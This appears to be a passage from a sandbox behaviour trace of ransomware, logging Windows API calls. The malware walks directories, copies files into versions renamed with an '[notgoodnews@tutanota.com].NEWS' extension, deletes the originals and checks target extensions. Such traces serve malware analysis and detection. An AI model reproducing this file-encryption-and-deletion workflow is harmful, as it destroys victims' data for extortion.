dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0093.321] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.321] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21effad, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2216207, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2216207, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0093.321] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0093.321] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f76a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI2A4A~1.0_N")) returned 1 [0093.323] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.323] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x543b5b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x543b5b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x543b5b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0093.324] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.324] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd45db281, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0093.324] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0093.324] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0093.324] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16dc6f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI5B43~1.0_X")) returned 1 [0093.325] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.325] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16dc6f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x170294f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x170294f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0093.330] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.330] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18645b9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafc4ec6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19e1d44, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0093.332] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.332] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e1d44, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1a07fa1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1a07fa1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4be, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneConnectAppList.scale-200.png", cAlternateFileName="")) returned 1 [0093.333] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.333] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61806, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1b61806, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1b61806, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BuildInfo.xml", cAlternateFileName="")) returned 1 [0093.333] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.333] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd3f17, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1bfa170, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1bfa170, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NativeProxies.dll", cAlternateFileName="")) returned 1 [0093.334] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0093.335] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x255053c0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI155A~1.SCA")) returned 1 Thread: id = 14 os_tid = 0xc38 [0060.875] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3750950 [0060.875] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3760958 [0060.876] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8b00 [0060.876] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x52e1e8 [0060.876] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8ba8 [0060.876] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3a27020 [0060.879] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bc0 [0060.879] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8bc0, Size=0x20) returned 0x4ced38 [0060.879] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c50 [0060.879] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c50, Size=0x20) returned 0x4ceba8 [0060.880] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.880] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.880] Wow64DisableWow64FsRedirection (in: OldValue=0x2fdff50 | out: OldValue=0x2fdff50*=0x0) returned 1 [0060.880] lstrlenW (lpString="kernel32.dll") returned 12 [0060.880] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.880] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.880] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0060.880] Sleep (dwMilliseconds=0x64) [0061.343] Sleep (dwMilliseconds=0x64) [0061.663] Sleep (dwMilliseconds=0x64) [0063.253] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.253] lstrlenW (lpString="eula.rtf") returned 8 [0063.253] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.254] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3314) returned 1 [0063.254] CloseHandle (hObject=0x2f4) returned 1 [0063.254] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0063.254] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.254] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.254] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.256] GetLastError () returned 0x0 [0063.256] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xcf2, lpOverlapped=0x0) returned 1 [0063.270] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xd00, lpOverlapped=0x0) returned 1 [0063.271] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.271] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.271] SetEndOfFile (hFile=0x31c) returned 1 [0063.272] CloseHandle (hObject=0x31c) returned 1 [0063.272] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.272] SetEndOfFile (hFile=0x2f4) returned 1 [0063.273] CloseHandle (hObject=0x2f4) returned 1 [0063.273] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.274] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0063.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.274] lstrlenW (lpString=".doc") returned 4 [0063.274] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.274] lstrlenW (lpString=".docx") returned 5 [0063.274] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.274] lstrlenW (lpString=".pdf") returned 4 [0063.274] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.274] lstrlenW (lpString=".xls") returned 4 [0063.274] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.274] lstrlenW (lpString=".xlsx") returned 5 [0063.274] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.274] lstrlenW (lpString=".ppt") returned 4 [0063.275] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.275] lstrlenW (lpString=".zip") returned 4 [0063.275] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.275] lstrlenW (lpString=".rar") returned 4 [0063.275] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString=".bz2") returned 4 [0063.275] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString=".7z") returned 3 [0063.275] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.275] lstrlenW (lpString=".dbf") returned 4 [0063.275] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.275] lstrlenW (lpString=".1cd") returned 4 [0063.275] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.275] lstrlenW (lpString=".jpg") returned 4 [0063.275] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.275] lstrlenW (lpString=".doc") returned 4 [0063.275] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString=".docx") returned 5 [0063.275] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.275] lstrlenW (lpString=".pdf") returned 4 [0063.275] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString=".xls") returned 4 [0063.275] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.275] lstrlenW (lpString=".xlsx") returned 5 [0063.275] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.275] lstrlenW (lpString=".ppt") returned 4 [0063.275] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.275] lstrlenW (lpString=".zip") returned 4 [0063.276] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.276] lstrlenW (lpString=".rar") returned 4 [0063.276] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.276] lstrlenW (lpString=".bz2") returned 4 [0063.276] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.276] lstrlenW (lpString=".7z") returned 3 [0063.276] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.276] lstrlenW (lpString=".dbf") returned 4 [0063.276] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.276] lstrlenW (lpString=".1cd") returned 4 [0063.276] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0063.276] lstrlenW (lpString=".jpg") returned 4 [0063.276] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.276] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.276] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.276] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=77748) returned 1 [0063.276] CloseHandle (hObject=0x2f4) returned 1 [0063.276] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0063.277] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.277] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.277] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.277] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.277] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.277] GetLastError () returned 0x0 [0063.277] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0063.282] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0063.284] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.284] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.284] SetEndOfFile (hFile=0x31c) returned 1 [0063.284] CloseHandle (hObject=0x31c) returned 1 [0063.287] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.287] SetEndOfFile (hFile=0x2f4) returned 1 [0063.288] CloseHandle (hObject=0x2f4) returned 1 [0063.289] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.289] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0063.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.289] lstrlenW (lpString=".doc") returned 4 [0063.289] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.289] lstrlenW (lpString=".docx") returned 5 [0063.289] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.289] lstrlenW (lpString=".pdf") returned 4 [0063.289] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.289] lstrlenW (lpString=".xls") returned 4 [0063.289] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.290] lstrlenW (lpString=".xlsx") returned 5 [0063.290] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.290] lstrlenW (lpString=".ppt") returned 4 [0063.290] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.290] lstrlenW (lpString=".zip") returned 4 [0063.290] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.290] lstrlenW (lpString=".rar") returned 4 [0063.290] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.290] lstrlenW (lpString=".bz2") returned 4 [0063.290] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.290] lstrlenW (lpString=".7z") returned 3 [0063.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.674] lstrlenW (lpString=".dbf") returned 4 [0063.674] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.674] lstrlenW (lpString=".1cd") returned 4 [0063.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.674] lstrlenW (lpString=".jpg") returned 4 [0063.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.674] lstrlenW (lpString=".doc") returned 4 [0063.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString=".docx") returned 5 [0063.674] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.674] lstrlenW (lpString=".pdf") returned 4 [0063.674] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString=".xls") returned 4 [0063.674] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString=".xlsx") returned 5 [0063.674] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.674] lstrlenW (lpString=".ppt") returned 4 [0063.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.674] lstrlenW (lpString=".zip") returned 4 [0063.674] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.674] lstrlenW (lpString=".rar") returned 4 [0063.674] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString=".bz2") returned 4 [0063.674] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.674] lstrlenW (lpString=".7z") returned 3 [0063.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.675] lstrlenW (lpString=".dbf") returned 4 [0063.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.675] lstrlenW (lpString=".1cd") returned 4 [0063.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0063.675] lstrlenW (lpString=".jpg") returned 4 [0063.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.675] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.675] lstrlenW (lpString="eula.rtf") returned 8 [0063.675] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.675] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3526) returned 1 [0063.675] CloseHandle (hObject=0x33c) returned 1 [0063.675] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0063.675] GetFileAttributesW 